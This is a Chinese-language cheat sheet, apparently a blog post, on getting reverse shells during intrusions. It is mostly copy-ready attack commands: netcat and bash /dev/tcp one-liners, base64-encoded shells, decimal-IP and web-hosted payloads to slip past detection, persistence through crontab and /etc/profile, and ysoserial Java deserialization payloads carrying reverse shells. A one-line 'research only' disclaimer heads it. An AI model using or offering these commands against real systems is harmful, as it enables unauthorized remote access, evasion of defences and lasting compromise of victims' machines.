仅用于网络安全研究,请遵守相关法律法规

一、前言

在实战情况下,多数命令执行点,我们都是反弹shell回来进行操作(方便,快捷),反弹shell即将命令行交给外部去使用

二、连接方式

2.1 正向连接

机器A—->(层层防护)–>受害机器B
即:攻击机A主动去连接受害机器B,这种情况在内网会用,在边界防护太多,面临被ban的风险也大

2.2 反向连接

机器A<—-(层层防护)<–受害机器B
即:受害机器B主动出来找攻击机A,更容易,原因就是防护严入宽出的原则

三、姿势总结

3.1 命令生成站点

棱角社区
hacktools
https://cdbc.pythonanywhere.com/
https://ares-x.com/tools/runtime-exec

3.2 nc反弹shell

NC是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

安装(有-e参数,而linux系统自带的则无)

1
2
3
4
5
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

使用

1
2
3
nc -e /bin/bash [host] [port]
nc -e /bin/sh [host] [port]
mknod backpipe p && nc [host] [port] 0<backpipe | /bin/bash 1>backpipe //会产生一个文件(不推荐)

nc老版本问题

1
2
当nc版本问题时:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [host] [port] >/tmp/f

3.3 bash

最好用的方法

1
2
3
4
5
6
7
8
bash -i >& /dev/tcp/IP/PORT 0>&1
bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"
bash -c {echo,base64编码}|{base64,-d}|{bash,-i}
base64编码为bash -i >& /dev/tcp/IP/PORT 0>&1
- bash -i : 产生一个 bash 交互环境
- `>&` : 将联合符号前面的内容与后面相结合,然后一起重定向给后者
- `/dev/tcp/IP/PORT` : 让目标主机与攻击机的端口建立一个tcp连接
- `0>&1` : 将标准输入与标准输出的内容相结合然后重定向给前面标准输出的内容

绕过检测

在VPS上启一个web服务(python3 -m http.server [port] -d .),放index.html,内容如bash -i >& /dev/tcp/IP/PORT 0>&1

还有是绕过IP检测和一些编码符号问题

十进制IP绕过

原始:bash -i >& /dev/tcp/192.168.40.20/8888 0>&1
变形:bash -i >& /dev/tcp/3232245780/8888 0>&1

3.4 计划任务反弹shell

反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username>或者/etc/crontab,所以必须要知道远程主机当前的用户名。否则将不会被执行。

  • 当前用户名为 root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)
  • 当前用户名为 root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)
    1
    2
    3
    4
    *   *  *  *  *  command
    分 时 日 月 周  命令

    * * * * * bash -i >& /dev/tcp/IP/PORT 0>&1

3.5 profile文件反弹shell

/etc/profile中的内容会在用户打开 bash 窗口时执行

1
2
/bin/bash -i >& /dev/tcp/IP/PORT 0>&1 &  
# 最后面那个&是后台运行,并不会卡住

3.6 交互式切换

python -c 'import pty;pty.spawn("/bin/bash")'
/usr/bin/script -qc /bin/bash /dev/null

3.7 其他

其他语言和工具的去命令生成站点看即可

四、java反序列化(反弹shell)

4.1 yso工具的使用

工具下载直达
java -jar ysoserial-all.jar 要打的链子 "命令" |base64 -w0
-w0 是让它不要换行
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjIwLzEyMzQgMD4mMQ}|{base64,-d}|{bash,-i}"
"nc xxx xx -e /bin/bash"

4.2 POC经常弹失败?

来自Z1ng3r师傅的详解
总结:在java反序列化带入命令RCE时,由于是代码去处理,所以环境不同,不像直接在shell执行那样,如:参数分割、参数解析的问题
建议用下面这种

1
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjIwLzEyMzQgMD4mIDE}|{ base64,-d}|{bash,-i}"